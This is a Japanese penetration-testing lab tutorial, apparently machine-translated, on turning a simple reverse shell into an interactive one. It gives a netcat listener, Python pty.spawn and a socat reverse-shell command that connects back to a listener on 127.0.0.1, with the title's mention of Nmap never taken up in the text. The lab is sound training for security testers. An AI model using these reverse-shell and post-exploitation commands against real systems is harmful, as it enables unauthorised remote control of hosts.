Nmap でシンプルなシェルをインタラクティブシェルにアップグレードする

Beginner

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

ペネトレーションテストの分野では、ターゲットシステムにアクセスするために、シェル(shell)を取得することがよくあります。このシェルには、シンプルシェル(simple shell)とインタラクティブシェル(interactive shell)があります。シンプルシェルは機能が制限されており、インタラクティブな機能がありません。一方、インタラクティブシェルはより強力で使いやすい環境を提供します。この実験(Lab)では、シンプルシェルとインタラクティブシェルの違いを探り、シンプルシェルをインタラクティブシェルにアップグレードするプロセスを案内します。


Skills Graph

シンプルシェルの理解

このステップでは、シンプルシェル(simple shell)の概念とその制限について探ります。シンプルシェルは通常、リモートコマンド実行の脆弱性やその他の攻撃手法を通じて取得されます。ターゲットシステムでコマンドを実行することはできますが、攻撃後の段階で支障となるいくつかの重要な機能が欠けています。

  1. まず、ターミナルウィンドウを開き、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project
  2. ターゲットシステムでシンプルシェルを取得するプロセスをシミュレートするために、nc コマンドを使用してポート 5911 でリスナーを設定する必要があります。

    nc -lnvp 5911

    期待される出力:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911...

    このターミナルウィンドウは、シンプルシェル接続のリスナーとして機能します。

  3. 「別のターミナルウィンドウ」を開き、/home/labex/project ディレクトリに移動すると、ホームディレクトリに exploit.sh ファイルが表示されます。このファイルは、ターゲットシステムでシンプルシェルを取得するために使用できるリモートコマンド実行攻撃をシミュレートします。

    cd /home/labex/project

    exploit.sh スクリプトを実行して、ポート 5911 のリスナーに接続し、ターゲットシステムでシンプルシェルを取得します。

    ./exploit.sh

    期待される出力:

    labex:project/ $./exploit.sh
    Simulating attack...
    Shell has been rebound, please check the terminal which you listen to the port 5911

    このスクリプトは、ポート 5911 のリスナーに接続し、ターゲットシステムでシンプルシェルを提供します。

  4. リスナーを設定したターミナルウィンドウに戻ると、ターゲットシステムとの接続が確立されていることがわかります。

    出力例:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911...
    connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696
    |

    whoamilsb_release -a などのコマンドを実行することで、シンプルシェルを取得したことを確認できます。ただし、シンプルシェルには、適切なコマンドプロンプト、タブ補完、sussh などのインタラクティブコマンドを使用する機能など、特定の機能が欠けていることに気づくでしょう。

Python を使ったインタラクティブシェルへのアップグレード

シンプルシェルをインタラクティブシェルにアップグレードする方法の 1 つは、Python の pty モジュールを使用することです。このモジュールを使うと、擬似ターミナル(pseudo-terminal、pts)を作成できます。

  1. まず、以下のコマンドを実行して、ターゲットシステムに Python がインストールされているか確認します。

    which python
  2. Python が利用可能な場合、以下のコマンドを使用して擬似ターミナルを作成できます。

    python -c 'import pty; pty.spawn("/bin/bash");'

    このコマンドは、擬似ターミナルをサポートする新しいインタラクティブシェルを起動します。これにより、sussh などのコマンドを問題なく実行できます。

    出力例:

    labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");'
    labex@660d6d4be229593d40db954d:~/project$
  3. tty コマンドを実行し、その出力をファイルにリダイレクトすることで、新しいシェルが擬似ターミナルであることを確認できます。

    tty > /home/labex/project/shell.txt

    shell.txt ファイルの内容を確認して、シェルが擬似ターミナル(pts)であるかどうかを確認します。

    cat /home/labex/project/shell.txt

    出力例:

    labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt
    /dev/pts/5

ただし、Python の擬似ターミナルはシンプルシェルのいくつかの制限を解消しますが、タブ補完、履歴ナビゲーション、vimvi などのテキストエディタの適切なサポートなど、特定の機能がまだ欠けています。

PS: 擬似ターミナルシェルからログアウトするには、exit と入力するか、Ctrl+D を押します。

Socat を使った完全なインタラクティブシェルへのアップグレード

より包括的な解決策として、socat ユーティリティを使用して、タブ補完、履歴ナビゲーション、テキストエディタの互換性など、すべての機能をサポートする完全なインタラクティブシェルを取得することができます。

まず、以下のコマンドを実行して、ターゲットシステムに socat がインストールされているか確認します。

which socat

socat が利用可能な場合は、以下の手順に従います。

  1. 「新しいターミナルウィンドウ」を開き、以下の socat コマンドを使用してポート 5912 でリスナーを起動します。

    socat file:$(tty),raw,echo=0 tcp-listen:5912

    接続が確立されるのを待ちます。

  2. シンプルシェルで、以下のコマンドを実行してリスナーに接続し、シェルを完全なインタラクティブシェルにアップグレードします。

    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
  3. リスナーを設定したターミナルウィンドウに戻ると、ターゲットシステムとの接続が確立されていることがわかります。これで、通常のターミナルセッションで期待されるすべての機能を備えた完全なインタラクティブシェルが利用できるようになります。

    出力例:

    labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912
    labex@660d5d5ee229593d40db9301:~$

catsshvim などのコマンドを使用し、上下矢印キーでコマンド履歴をナビゲートすることで、新しいインタラクティブシェルをテストしてください。

まとめ

この実験(Lab)では、ペネトレーションテストの文脈でシンプルシェル(simple shell)とインタラクティブシェル(interactive shell)の概念を探りました。シンプルシェルの制限と、効率的な攻撃後活動のためにインタラクティブシェルにアップグレードする重要性を学びました。シンプルシェルをアップグレードする 2 つの方法を取り上げました。1 つは Python の pty モジュールを使用して擬似ターミナル(pseudo-terminal)を作成する方法で、もう 1 つは socat ユーティリティを使用して必要なすべての機能を備えた完全なインタラクティブシェルを取得する方法です。これらの手法を練習することで、将来のペネトレーションテストの作業で役立つ貴重なスキルを身につけました。これにより、シンプルシェルがもたらすチャレンジ(Challenge)を克服し、攻撃後の作業を効率化することができます。